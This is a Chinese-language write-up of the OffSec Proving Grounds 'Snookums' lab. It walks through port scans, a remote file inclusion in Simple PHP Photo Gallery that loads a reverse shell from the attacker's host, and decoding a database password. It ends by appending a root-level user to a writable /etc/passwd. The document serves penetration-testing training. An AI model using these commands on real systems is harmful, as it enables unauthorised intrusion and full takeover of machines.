本文最后更新于 2026年3月12日 下午
一、靶场详情 靶场名称:
Snookums
靶场地址:
OffSec Proving Grounds Practice 实验环境
二、思路总结 突破边界:
Simple PHP Photo Gallery 远程文件包含 –> 系统 apache 用户权限 –> mysql users 表密码解码 –> michael 用户密码 –> 用户旗帜
权限提升:
michael 用户对 /etc/passwd 具有写入权限 –> 写入高权限用户 –> 系统 root 用户权限 –> 管理员旗帜
三、靶场攻击演示 3.1 靶场信息收集 TCP 端口扫描:
1 2 3 4 5 6 7 8 9 10 11 sudo nmap -p- 192.168.185.58 --min-rate=2000 PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3306/tcp open mysql 33060/tcp open mysqlx
UDP 端口扫描:未发现有价值信息。
TCP 服务信息搜集:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 sudo nmap -p21,22,80,111,139,445,3306,33060 -sCV 192.168.185.58 PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.2 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.45.162 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 3.0.2 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_Can't get directory listing: TIMEOUT 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 4a:79:67:12:c7:ec:13:3a:96:bd:d3:b4:7c:f3:95:15 (RSA) | 256 a8:a3:a7:88:cf:37:27:b5:4d:45:13:79:db:d2:ba:cb (ECDSA) |_ 256 f2:07:13:19:1f:29:de:19:48:7c:db:45:99:f9:cd:3e (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) |_http-title: Simple PHP Photo Gallery |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind |_ 100000 3,4 111/udp6 rpcbind 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA) 445/tcp open netbios-ssn Samba smbd 4.10.4 (workgroup: SAMBA) 3306/tcp open mysql MySQL (unauthorized) 33060/tcp open mysqlx MySQL X protocol listener Service Info: Host: SNOOKUMS; OS: Unix
系统为 Linux 环境,开放有 HTTP、SSH、SMB 和 MYSQL 服务。
3.2 渗透测试突破边界 3.2.1 Simple PHP Photo Gallery 远程文件包含漏洞 访问靶机 HTTP 80 服务,在网站首页可得到应用版本信息:Simple PHP Photo Gallery v0.8。
搜索引擎检索得知应用可能存在远程文件包含漏洞。
1 https://www.exploit-db.com/exploits/48424
复制 php reverse shell,保存为 shell.php,然后在目录开启 web 共享,并使用 nc 开启监听,注意: 本地需要同时开放两个端口,靶机防火墙存在出站规则,部分端口无法出站访问,测试 445 和 80 可正常出站。
1 https://www.revshells.com/
1 2 3 goshs -p 445 nc -lvnp 80 http://192.168.185.58/image.php?img=http://192.168.45.162:445/shell.php
得到靶机 apache 用户 shell。
升级为交互式 shell。
3.2.2 Mysql 数据库泄漏 michael 用户密码 尝试读取用户旗帜时,发现 apache 用户没有权限访问 michael 用户家目录,我们需要将权限升级至 michael 用户。
在网站根目录 db.php 文件中可得到 mysql 数据库连接密码,连接数据库在 user 表发现 michael 用户 base64 格式密码。
将数据库 Michael 用户密码使用 CyberChef 解码,通过 su 或 ssh 可得到 Michael 用户权限。
1 https://gchq.github.io/CyberChef/#input=VTBjNWFtRXhUalZhUnpWc1pWVk9iR051VW5CYWJtdDRUV3BOUFE9PQ
3.2.3 用户旗帜获取
3.3 提权获取系统管理员权限 3.3.1 Passwd 写入权限提升至系统 root 用户 在靶机执行 linpeas 工具,发现 Michael 用户对 /etc/passwd 文件具有写入权限,可通过写入高权限用户提升至靶机 root 权限。注意: 使用反弹 shell 执行 linpeas 可能会断开 shell,此时通过用户密码 ssh 连接靶机,再次执行即可。
利用 openssl 创建加密密码。
1 2 3 openssl passwd -1 123456
写入高权限用户,注意: 使用追加不要直接覆盖。
1 echo 'hack:$1$/TEeb4.I$osRP2hng/DADAYzTobYjK0:0:0:root:/root:/bin/bash' >> /etc/passwd
切换至创建的用户,得到系统 root 用户权限。
3.3.2 管理员旗帜获取
Thanks
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨